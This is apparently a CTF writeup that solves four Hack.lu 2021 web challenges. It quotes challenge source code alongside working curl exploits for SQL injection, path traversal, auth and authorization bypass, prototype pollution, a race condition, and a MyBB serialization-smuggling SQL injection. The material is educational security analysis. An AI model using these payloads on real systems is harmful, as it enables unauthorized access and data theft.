Table of Contents
Last weekend, I teamed up with @jorge_ctf to play in Hack.lu CTF 2021, and somehow we managed to solve 4 out of the 5 web challenges! Considering that it was an ad hoc collaboration and we were mostly playing for fun, I’d say we did pretty well.
Overall, I think the web challenges presented at Hack.lu CTF 2021 were quite insightful, so I decided to do a writeup on the challenges we solved.
Enjoy!
Diamond Safe
Sold (Solves): 61 times
Risk (Difficulty): Mid
Seller (Creator): kunte_Save your passwords and files securely in the Diamond Safe by STOINKS AG.
https://diamond-safe.flu.xxx/
Part 1 - Authentication Bypass Via SQL Injection
The goal of the challenge is to read the flag at /flag.txt
.
But first, we need to be logged in to access other application functionalities.
The relevant code from public/src/login.php
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
if (isset($_POST['password'])){
$query = db::prepare("SELECT * FROM `users` where password=sha1(%s)", $_POST['password']); // [1]
if (isset($_POST['name'])){
$query = db::prepare($query . " and name=%s", $_POST['name']); // [2]
}
else{
$query = $query . " and name='default'";
}
$query = $query . " limit 1";
$result = db::commit($query);
if ($result->num_rows > 0){
$_SESSION['is_auth'] = True;
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['ip'] = get_ip();
$_SESSION['user'] = $result->fetch_row()[1];
success('Welcome to your vault!');
redirect('vault.php', 2);
}
else{
error('Wrong login or password.');
}
}
...
Notice that the login functionality calls db::prepare()
, which seems to use some form of format string (%s
) in lines [1] and [2]. We might be able to bypass string sanitisation by embedding a format string into $_POST["password"]
.
Tracing the code further, we can see the prepare()
function declared in public/src/DB.class.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){
error('%s not included in query!');
return;
}
// get args
$args = func_get_args();
array_shift( $args );
$args_is_array = false;
if (is_array($args[0]) && count($args) == 1 ) { // [3]
$args = $args[0];
$args_is_array = true;
}
$count_format = substr_count($query, '%s');
if($count_format !== count($args)){ // [4]
error('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){
$value = static::$db->real_escape_string($value); // [5]
}
// prepare
$query = str_replace("%s", "'%s'", $query); // [6]
$query = vsprintf($query, $args); // [7]
return $query;
}
Interestingly, [3] indicates that the prepare()
function accepts an array for the second parameter.
At [4], it checks if the number of format string present in $query
(first parameter) matches the number of arguments passed in the second parameter.
Arguments are then escaped using real_escape_string()
in [5].
Subsequently, all format strings %s
are quoted ('%s'
) in [6] before they are being replaced by the escaped arguments in [7].
Since no type checks were done on the $_POST
parameters, we could indeed embed a format string %s
within $_POST["password"]
in [1], and supply an array $_POST["name"]
in [2] – this allows us to inject into the SQL statement.
Sending the following request allows us to log in to a valid account:
$ curl https://diamond-safe.flu.xxx/login.php \
--cookie 'PHPSESSID=...' \
-d 'password=%s' -d 'name[0]=) or 1=1 -- ' -d 'name[1]=a'
...
<div class='alert alert-success'><strong>Welcome to your vault!</strong></div>
...
Part 2 - Arbitrary File Read
Let’s look at the second half of the challenge – getting the flag.
After logging in, we have access to the vault (public/src/vault.php
):
1
2
3
4
5
6
7
8
9
10
11
...
<?php
$dir = '/var/www/files';
$scanned_dir = array_diff(scandir($dir), array('..', '.'));
foreach ($scanned_dir as $key => $file_name){?>
<li><a href="<?= gen_secure_url($file_name)?>"><?= ms($file_name)?></a></li>
<?php } ?>
...
The rendered HTML output when visiting /vault.php
is:
...
<li><a href="download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt">Diamond.txt</a></li>
<li><a href="download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt">FlagNotHere.txt</a></li>
...
Let’s take a look at public/src/download.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...
if (!isset($_SESSION['is_auth']) or !$_SESSION['is_auth']){
redirect('login.php');
die();
}
if(!isset($_GET['file_name']) or !is_string($_GET['file_name'])){ // [1]
redirect('vault.php');
die();
}
if(!isset($_GET['h']) or !is_string($_GET['h'])){ // [2]
redirect('vault.php');
die();
}
// check the hash
if(!check_url()){ // [3]
redirect('vault.php');
die();
}
$file = '/var/www/files/'. $_GET['file_name']; // [4]
if (!file_exists($file)) {
redirect('vault.php');
die();
}
else{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file); // [5]
exit;
}
[1] and [2] ensures that $_GET['filename']
and $_GET['h']
are strings. At [3], the parameters are validated. Ideally, we want to be able to reach readfile($file)
in [5], since we know that we can control the file path in [4].
We somehow need to subvert the checks done in check_url()
.
The relevant code for check_url()
function can be found in public/src/functions.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function check_url(){
// fixed bypasses with arrays in get parameters
$query = explode('&', $_SERVER['QUERY_STRING']);
$params = array();
foreach( $query as $param ){
// prevent notice on explode() if $param has no '='
if (strpos($param, '=') === false){
$param += '=';
}
list($name, $value) = explode('=', $param, 2);
$params[urldecode($name)] = urldecode($value); // [6]
}
if(!isset($params['file_name']) or !isset($params['h'])){
return False;
}
$secret = getenv('SECURE_URL_SECRET');
$hash = md5("{$secret}|{$params['file_name']}|{$secret}");
if($hash === $params['h']){ // [7]
return True;
}
return False;
}
The function attempts to parse each GET parameter from the $_SERVER['QUERY_STRING']
, URL-decoding the parameter names and values at [6]. To be able to leak, we somehow need to make $_GET['filename']
return a path traversal payload to reach /flag.txt
but also ensure that $params['filename']
returns a different value. According to a comment on the PHP documentation, it can be seen that PHP does additional normalisation steps on top of URL-decoding the parameter names:
The full list of field-name characters that PHP converts to
_
(underscore) is the following (not just dot):
chr(32)
() (space)
chr(46)
(.
) (dot)
chr(91)
([
) (open square bracket)
chr(128)
-chr(159)
(various)PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.
So, we could supply a query string ?file_name=Diamond.txt&file.name=../../../flag.txt
to trick PHP to set $_GET['filename'] = '../../../flag.txt'
, and make $params['filename'] = 'Diamond.txt'
in check_url()
– this allows us to pass the check at [3] by sending a valid $params['file_name']
and $params['hash']
accordingly:
$ curl -G --cookie 'PHPSESSID=...' https://diamond-safe.flu.xxx/download.php \
-d 'file_name=Diamond.txt' -d 'file.name=../../../flag.txt' -d 'h=95f0dc5903ee9796c3503d2be76ad159'
flag{lul_php_challenge_1n_2021_lul}
trading-api
Sold (Solves): 20 times
Risk (Difficulty): High
Seller (Creator): pspaulTo make investing easy and simple for everyone, we built a trading API. But is it secure tho?
http://flu.xxx:20035
The goal of the challenge is to leak the flag stored in the flag table:
CREATE TABLE IF NOT EXISTS flag (flag TEXT PRIMARY KEY);
Part 1 - Authentication Bypass
Let’s start by analysing the routes handled by the server. This can be found in public/core/server.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');
...
async function main() {
const app = express();
app.use(morgan('dev'));
app.use(express.json());
app.all('/health', (req, res) => res.send('ok'));
// authentication
app.post('/api/auth/login', login);
app.use(authn);
// authorization
app.use(authz({
userPermissions: new Map(Object.entries({
warrenbuffett69: [Permissions.VERIFIED],
})),
routePermissions: [
[/^\/+api\/+priv\//i, Permissions.VERIFIED],
],
}));
await registerApi(app);
app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}
main()
There appears to be authentication and authorization checks performed before we can reach any of the interesting application functionalities. Let’s start by looking into login()
to find a way to log in successfully.
The relevant code from public/core/authn.js
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
async function login(req, res) {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send('missing username or password');
}
try {
const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, { // [1]
headers: { authorization: AUTH_API_TOKEN },
json: { password },
});
if (r.statusCode !== 200) { // [2]
return res.status(401).send('wrong');
}
const jwt = jsonwebtoken.sign({ username }, JWT_SECRET); // [3]
return res.json({ token: jwt });
} catch (error) {
return res.status(503).end('error');
}
}
function authn(req, res, next) {
const authHeader = req.header('authorization');
if (!authHeader) {
return res.status(400).send('missing auth token');
}
try {
req.user = jsonwebtoken.verify(authHeader, JWT_SECRET); // [4]
next();
} catch (error) {
return res.status(401).send('invalid auth token');
}
}
On [1], it can be seen that the server attempts to reach a backend auth service to authenticate the user credentials. However, notice that we could inject into the request path, since encodeURI()
does not escape .
or /
. This allows us to send a username with a path traversal payload (e.g. ../../anything?
)! The user is considered logged in if the status code of the request is 200
(OK).
Examining public/auth/server.js
, we see the following route handled by the auth server:
1
2
3
...
app.all('/health', (req, res) => res.send('ok'));
...
Hitting this /health
endpoint with a path traversal payload in the username allows us to trick the server into thinking that we are a valid user. The server then kindly signs and issues us a valid JWT token on [3]. When authentication checks are performed in authn()
, the JSON token can be successfully verified at [4].
This allows us to bypass the authentication checks.
Part 2 - Authorisation Bypass
Now that we have achieved authentication bypass, let’s move on to subvert the authorisation checks.
Recall that the authorization checks performed in public/core/server.js
is:
1
2
3
4
5
6
7
8
app.use(authz({
userPermissions: new Map(Object.entries({
warrenbuffett69: [Permissions.VERIFIED], // [1]
})),
routePermissions: [
[/^\/+api\/+priv\//i, Permissions.VERIFIED], // [2]
],
}));
The relevant source code from public/core/authz.js
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function hasPermission(userPermissions, username, permission) {
return userPermissions.get(username)?.includes(permission) ?? false;
}
function authz({ userPermissions, routePermissions }) {
return (req, res, next) => {
const { username } = req.user;
for (const [regex, permission] of routePermissions) {
if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) { // [3]
return res.status(403).send('forbidden');
}
}
next();
};
}
Notice that the user warrenbuffett69
(on [1]) is allowed to access the route /api/priv/*
(on [2]). If we set our username to a path traversal payload, we are definitely unable to satisfy the hasPermission()
check at [3].
What we can do to bypass this authorisation check is to fail regex.test(req.url)
condition – skipping the entire if
block! The authorisation check performed above uses req.url
, which is the raw request URL. But, in Express, routes are matched using req.path
. Since req.path
is extracted after parsing req.url
, we can abuse path normalisation to subvert the check while making the request match a route handler successfully.
In other words, req.path
will be set to /api/priv/assets/assetName/buy
for this request:
GET /api\priv/assets/assetName/buy HTTP/1.1
As well as this request:
GET http://junk/api/priv/assets/assetName/buy HTTP/1.1
Part 3 - SQL Injection
Now that we have access to the main functionalities of the application, we can start to figure out how to leak the flag.
The relevant code from public/core/api.js
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const { randomInt } = require('crypto');
const { connect, prepare } = require('./db');
const transactions = {};
function generateId() {
return randomInt(2**48 - 1);
}
module.exports = async (app) => {
const db = await connect();
async function makeTransaction(username, txId, asset, amount) {
const query = prepare('INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)', { // [5]
amount,
asset,
username,
txId,
});
await db.query(query);
}
app.get('/api/transactions/:id', async (req, res) => {
const txId = Number(req.params.id);
if (!isFinite(txId)) {
return res.status(400).send('invalid transaction id');
}
const transaction = await db.query(prepare('SELECT * FROM transactions WHERE id=:txId', {
txId,
}));
if (transaction.rowCount > 0) {
res.json(transaction.rows[0]);
} else {
res.status(404).send('no such transaction');
}
});
app.put('/api/priv/assets/:asset/:action', async (req, res) => {
const { username } = req.user
const { asset, action } = req.params;
if (/[^A-z]/.test(asset)) { // [1]
return res.status(400).send('asset name must be letters only');
}
const assetTransactions = transactions[asset] ?? (transactions[asset] = {}); // [2]
const txId = generateId();
assetTransactions[txId] = action; // [3]
try {
await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1); // [4]
res.json({ id: txId });
} catch (error) {
console.error('db error:', error.message);
res.status(500).send('transaction failed');
} finally {
delete assetTransactions[txId];
}
});
};
The /api/priv/assets/:asset/:action
route accepts 2 path parameters: asset
and action
. At [1], notice that the regular expression used is flawed: /[^A-z]/.test(asset)
. Besides uppercase and lowercase alphabets, symbols such as [
, \
, ]
, ^
, _
and ^
are also accepted.
Carefully tracing the code from [2] to [3], we can see that it is possible to set transactions[asset][txId] = action
. One vulnerability class that springs to mind immediately is prototype pollution. If we set asset
to __proto__
, we can effectively set transactions.__proto__[txId]
to the value of action
. However, at this point, it is unclear if prototype pollution is useful at all, since we don’t have control over txId
(generated integer). Though, it remains somewhat interesting to us since it points to user input (action
).
So, let’s just continue tracing the code execution into makeTransaction()
at [4], which calls prepare()
at [5].
The relevant source code from public/core/db.js
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function sqlEscape(value) {
switch (typeof value) {
case 'string':
return `'${value.replace(/[^\x20-\x7e]|[']/g, '')}'`;
case 'number':
return isFinite(value) ? String(value) : sqlEscape(String(value));
case 'boolean':
return String(value);
default:
return value == null ? 'NULL' : sqlEscape(JSON.stringify(value));
}
}
function prepare(query, namedParams) {
let filledQuery = query;
const escapedParams = Object.fromEntries(
Object.entries(namedParams) // [6]
.map(([key, value]) => ([key, sqlEscape(value)]))
);
for (const key in escapedParams) { // [7]
filledQuery = filledQuery.replaceAll(`:${key}`, escapedParams[key]);
}
return filledQuery;
}
Observe that the parameters to be escaped are iterated using Object.entries()
at [6], whereas the replacement of the parameters with the escaped values are done in a for ... in
loop at [7].
According to the documentation for the for ... in
statement:
…The loop will iterate over all enumerable properties of the object itself and those the object inherits from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype chain).
Since Object.entries()
does not iterate through properties inherited from the prototype chain, transactions.__proto__[txId] = buy
set previously is not an escaped property. As such, we can inject ::txId
into username
such that the following replacement will occur in this manner:
INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... :1337')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... '), (31337, (select flag from flag), 1, '')
Solution
$ curl http://flu.xxx:20035/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"../../../../health?::txId","password":"A"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
$ curl -X PUT http://flu.xxx:20035 \
-H 'Content-Type: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' \
--request-target "http://junk/api/priv/assets/__proto__/'),(31337,(select%20flag%20from%20flag),1,'1"
{"id":10868161987435}
$ curl http://flu.xxx:20035/api/transactions/31337 \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
{"id":"31337","username":"1","asset":"flag{finally_i_can_invest_in_js}","amount":1}
NodeNB
Sold (Solves): 45 times
Risk (Difficulty): Low
Seller (Creator): pspaul/SonarSourceThis is a guest challenge by SonarSource R&D.
To keep track of all your trading knowledge we wrote a note book app!
https://nodenb.flu.xxx
The goal of the challenge is to access a note containing the flag:
1
2
3
4
5
6
7
8
9
10
...
// init
db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
'title': 'Flag',
'content': FLAG,
});
...
Without further ado, let’s jump straight to the relevant code in public/src/server.js
:
1
2
3
4
5
6
7
8
9
...
app.get('/notes/:nid', ensureAuth, async (req, res) => {
const { nid } = req.params;
if (!await db.hasUserNoteAcess(req.session.user.id, nid)) { // [1]
return res.redirect('/notes');
}
const note = await db.getNote(nid);
res.render('note', { note });
});
There is an access control check at [1]. Let’s look at the definition of hasUserNoteAcess()
function in public/src/db.js
:
1
2
3
4
5
6
7
8
9
10
11
12
...
async hasUserNoteAcess(uid, nid) {
if (await db.sismember(`uid:${uid}:notes`, nid)) { // [2]
return true;
}
if (!await db.hexists(`uid:${uid}`, 'hash')) { // [3]
// system user has no password
return true;
}
return false;
}
...
In hasUserNoteAcess()
, we need to make either of the conditions at [2] and [3] true to pass the access control check. Tracing the code further, we find that condition at [2] is not possible to be satisfied since we cannot add our user to the note containing the flag.
Further examining the condition at [3], we find an interesting logic flaw. The condition at [3] assumes that 0
is returned when the hash
field does not exists at key uid:${uid}
. However, 0
can also be returned if the key does not exist.
Looking at the application functionalities, we find that it is possible to delete your own account.
The relevant code from public/src/server.js
is shown below:
1
2
3
4
5
6
7
8
9
10
app.post('/deleteme', ensureAuth, async (req, res) => {
await db.deleteUser(req.session.user.id);
req.session.destroy(async (error) => {
if (error) {
console.error('deleteme error:', error?.message);
}
res.clearCookie('connect.sid');
res.redirect('/login');
});
});
The function definition for deleteUser()
from public/src/db.js
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
async deleteUser(uid) {
const user = await helpers.getUser(uid);
await db.set(`user:${user.name}`, -1);
await db.del(`uid:${uid}`); // [4]
const sessions = await db.smembers(`uid:${uid}:sessions`);
const notes = await db.smembers(`uid:${uid}:notes`);
return db.del([
...sessions.map((sid) => `sess:${sid}`),
...notes.map((nid) => `note:${nid}`),
`uid:${uid}:sessions`,
`uid:${uid}:notes`,
]);
}
Observe that at [4], the key uid:${uid}
is being deleted. As such, we can perform a race condition – polling /notes/flag
rapidly using Burp Intruder / Race The Web while the deletion of the account is being processed – to leak the flag:
flag{trade_as_fast_as_you_hack_and_you_will_be_rich}
SeekingExploits
Sold (Solves): 11 times
Risk (Difficulty): High
Seller (Creator): aliezey/SonarSourceAre you totally not a government?
Then you are welcome to the SeekingExploits forum, where you can let people know what exploits you are selling!Run it with:
docker-compose build HOSTNAME="localhost" FLAG="flag{fakefakefake}" docker-compose up
http://seekingexploits.flu.xxx
The goal of the challenge is to leak the flag from the database. This challenge uses the MyBB (an open source forum software) v1.8.29 (latest version), and installs a custom plugin created for the challenge.
Part 1 - Exploring the E-Market API
Let’s first look at public/mybb-server/exploit_market/emarket-api.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
// Set some useful constants that the core may require or use
define("IN_MYBB", 1);
define('THIS_SCRIPT', 'my_plugin.php');
// Including global.php gives us access to a bunch of MyBB functions and variables
require_once "./global.php";
function validate_additional_info($additional_info) {
$validated = array();
foreach($additional_info as $key => $value) {
switch ($key) {
case "reliability": {
$value = (int)$value;
if ($value >= 0 && $value <= 100) {
$validated["reliability"] = $value;
}
break;
}
case "impact": {
$valid_impacts = array("rce", "priv_esc", "information_disclosure");
if (in_array($value, $valid_impacts, true)) {
$validated["impact"] = $value;
}
break;
}
case "current_bidding":
case "sold_to": {
$validated[$key] = (int)$value;
break;
}
default: { // [5]
$validated[$key] = $value;
}
}
}
return $validated;
}
...
if($mybb->user['uid'] == '/' || $mybb->user['uid'] == 0) // [1]
{
error_no_permission();
}
$action = $mybb->get_input("action"); // [2]
if ($action === "make_proposal") { // [3]
// validate additional info
$proposal = array(
"uid" => (int)$mybb->user['uid'],
"software" => $db->escape_string($mybb->get_input("software")),
"latest_version" => $mybb->get_input("latest_version", MyBB::INPUT_BOOL) ? 1 : 0,
"description" => $db->escape_string($mybb->get_input("description")),
"additional_info" => $db->escape_string( // [7]
my_serialize( // [6]
validate_additional_info( // [4]
$mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
)
)
)
);
$res = $db->insert_query("exploit_proposals", $proposal); // [8]
echo "OK!";
} else if ($action === "delete_proposals") {
$db->delete_query("exploit_proposals", "uid=" . (int)$mybb->user['uid']);
}
Okay, that’s a lot of code to understand.
Let’s start from [1] – firstly, we need to be logged in to MyBB.
At [2], we see that it takes an an input ($mybb->get_input("action")
). We can trace MyBB’s source code to find out how to supply this input, or we can just guess that it finds a GET parameter named action
.
At [3], we know that the action
parameter must be set to make_proposal
if we want to insert an exploit proposal into the database.
At [4], we learn that a GET parameter named additional_info
should be supplied as an array. This parameter is then passed to validate_additional_info()
, which appears to do strict validation on the array contents for the accepted properties.
However, at [5], it is noted the default
statement does not actually validate the key or value before assigning $validated[$key] = $value;
– this may be useful to us later on.
At [6], we see that my_serialize()
is executed on the $validated
array returned by validate_additional_info()
– this uses a custom serialisation function built into MyBB that supposedly uses a safer serialisation technique compared to PHP’s native serialize()
.
At [7], the serialised payload is escaped before proposal is inserted into the database at [8].
It isn’t clear how the code can be exploited yet, so let’s take a look at the other file of interest – public/mybb-server/exploit_market/inc/plugins/emarket.php
.
Part 2 - The Vulnerable Plugin
The relevant code from public/mybb-server/exploit_market/inc/plugins/emarket.php
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
// Disallow direct access to this file for security reasons
if(!defined("IN_MYBB"))
{
die("Direct initialization of this file is not allowed.");
}
$plugins->add_hook("member_do_register_end", "activate_user");
// auto-activate any users that register -- emails can be used to track exploit buyers ;)
function activate_user() {
...
}
// include the proposals of the user at the end of each PM
$plugins->add_hook("private_read_end", 'list_proposals'); // [1]
// this plugin adds a list of exploit proposals to the end of a PM a user sends
function list_proposals() {
global $db;
// this variable contains the PM
global $message;
global $mybb;
global $pm;
$query = $db->simple_select("exploit_proposals", "*", "uid=" . (int)$pm['fromid']);
$proposals = array();
while($proposal = $db->fetch_array($query)) {
$proposal['additional_info'] = my_unserialize($proposal['additional_info']); // [2]
// resolve the buyer's ID to a username
if (array_key_exists("sold_to", $proposal["additional_info"])) {
$user_query = $db->simple_select("users", "username", "uid=" . $proposal["additional_info"]['sold_to']); // [3]
$buyer = $db->fetch_array($user_query);
$proposal["buyer"] = $buyer["username"]; // [4]
}
array_push($proposals, $proposal);
}
if (count($proposals) > 0) {
$message .= "<b>Their exploit proposals:</b><br />";
}
foreach($proposals as $proposal) {
$message .= "<hr />";
foreach($proposal as $field => $value) {
if (is_array($value)) {
continue;
}
$message .= "<b>" . htmlspecialchars($field) . ": </b>";
$message .= "<i>" . htmlspecialchars($value) . " </i>"; // [5]
}
}
}
...
At [1], we can see that the list_proposal()
function is invoked when a private message is read.
At [2], the proposals by the sender is fetched from the database and deserialised using my_unserialize()
.
At [3], $db->simple_select(tables, fields, where_condition)
is executed. Referring to SonarSource’s research on MyBB, it can be seen that concatenating a user input in the where_condition
leads to SQL injection – this lets us retrieve the flag from the database.
At [4], we can set $proposal["buyer"]
to the value for the username
field returned by the SQL query.
At [5], we get to print the value of the flag!
Before we get too excited, recall that $proposal["additional_info"]['sold_to']
is type-casted and coerced to an integer in validate_additional_info()
. So, we need find a way to make it such that after deserialising, $proposal["additional_info"]['sold_to']
returns our SQL injection payload somehow.
Digging into MyBB’s Source Code
Let’s revisit some of the steps before the database concatenates user input in there where
condition of $db->simple_select()
.
- We can place arbitrary key/values into the proposal, so long as they are unhandled by enter the
default
statement of theswitch
statement. - The
$validated
is serialised usingmy_serialize()
- The serialised payload is escaped using
$db->escape_string()
before inserting into the database. - The serialised payload is fetched from the database, and deserialised using
my_serialize()
. -
$db->simple_select()
is called, injecting$proposal["additional_info"]['sold_to']
intowhere
condition.
It seems that we need to dig into MyBB’s source code to look for a flaw!
Both my_serialize()
and my_deserialize()
changes the internal encoding to ASCII
prior to serialising/deserialising before converting it back to the original internal encoding used, but no apparent parser differentials could be found in the two functions.
Let’s move on to look at $db->escape_string()
function. It is defined in multiple classes, but we should look into inc/db_mysqli.php since php-mysqli
is installed on the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape_string($string)
{
if($this->db_encoding == 'utf8')
{
$string = validate_utf8_string($string, false);
}
elseif($this->db_encoding == 'utf8mb4')
{
$string = validate_utf8_string($string);
}
if(function_exists("mysqli_real_escape_string") && $this->read_link)
{
$string = mysqli_real_escape_string($this->read_link, $string);
}
else
{
$string = addslashes($string);
}
return $string;
}
Interestingly, we see that there is special handling for utf8
and utf8mb4
database encoding. Since the application uses utf8
for the database encoding, let’s look at what validate_utf8_string($string, false)
does:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
* Validates an UTF-8 string.
*
* @param string $input The string to be checked
* @param boolean $allow_mb4 Allow 4 byte UTF-8 characters?
* @param boolean $return Return the cleaned string?
* @return string|boolean Cleaned string or boolean
*/
function validate_utf8_string($input, $allow_mb4=true, $return=true)
{
// Valid UTF-8 sequence?
if(!preg_match('##u', $input))
{
...
}
if($return) // [1] - $return defaults to true
{
if($allow_mb4) // [2] - $allow_mb4=false
{
return $input;
}
else
{
return preg_replace("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", '?', $input); // [3]
}
}
else
{
if($allow_mb4)
{
return true;
}
else
{
return !preg_match("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", $input);
}
}
}
This function appears to replace multibyte characters found at [3]! In other words, if the serialised payload to be escaped contains multibyte characters, they will be replaced with a single ?
. Since my_deserialize()
relies on the length field for each serialised field/value, invoking my_deserialize()
on a serialised payload escaped using $db->escape_string()
causes incorrect interpretation of the boundaries. This effectively allows us to smuggle sold_to
key mapped to a SQL injection payload when deserialising the additional_info
array.
Here’s a visualisation of the serialised payload and its transformation.
// $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
php > $additional_info = array();
php > $additional_info["a"] = str_repeat("\x80", 17); // matches the regex used in preg_replace()
php > $additional_info["b"] = '";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --';
php > $payload = validate_additional_info($additional_info);
php > echo my_serialize($payload);
a:2:{s:1:"a";s:17:"�����������������";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}
php > echo $db->escape_string(my_serialize($payload));
a:2:{s:1:\"a\";s:17:\"?\";s:1:\"b\";s:81:\"\";s:7:\"sold_to\";s:59:\"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --\";}
Note that the backslashes are only used to escape "
when inserting into the database, and are not actually present in the serialised payload stored in the database.
php > $serialized_payload_from_db = stripslashes($db->escape_string(my_serialize($payload)));
php > echo $serialized_payload_from_db;
a:2:{s:1:"a";s:17:"?";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}
php > echo print_r(my_unserialize($serialized_payload_from_db), true)
Array
(
[a] => ?";s:1:"b";s:81:"
[sold_to] => 0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --
)
We successfully abused $db->my_escape()
to tamper with the serialised payload, such that when the payload is deserialised, $proposal["additional_info"]['sold_to']
contains the SQL injection payload.
Solution
Register an account on MyBB and login, then execute the following command to trigger the insertion of the proposal into the database.
$ curl -G http://seekingexploits.flu.xxx/emarket-api.php \
--cookie 'mybbuser=...' \
-d 'action=make_proposal' \
-d 'software=a' \
-d 'latest_version=true' \
-d 'description=b' \
-d 'additional_info[a]=%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80' \
-d 'additional_info[b]=%22;s:7:%22sold_to%22;s:59:%220%20AND%201=0%20UNION%20SELECT%20usernotes%20from%20mybb_users%20limit%201%20--'
OK!
Then, send a private message to yourself and view the private message to trigger the SQL injection:
Their exploit proposals:
pid: 13 uid: 37 software: a description: b latest_version: 1 buyer: flag{peehaarpeebeebee}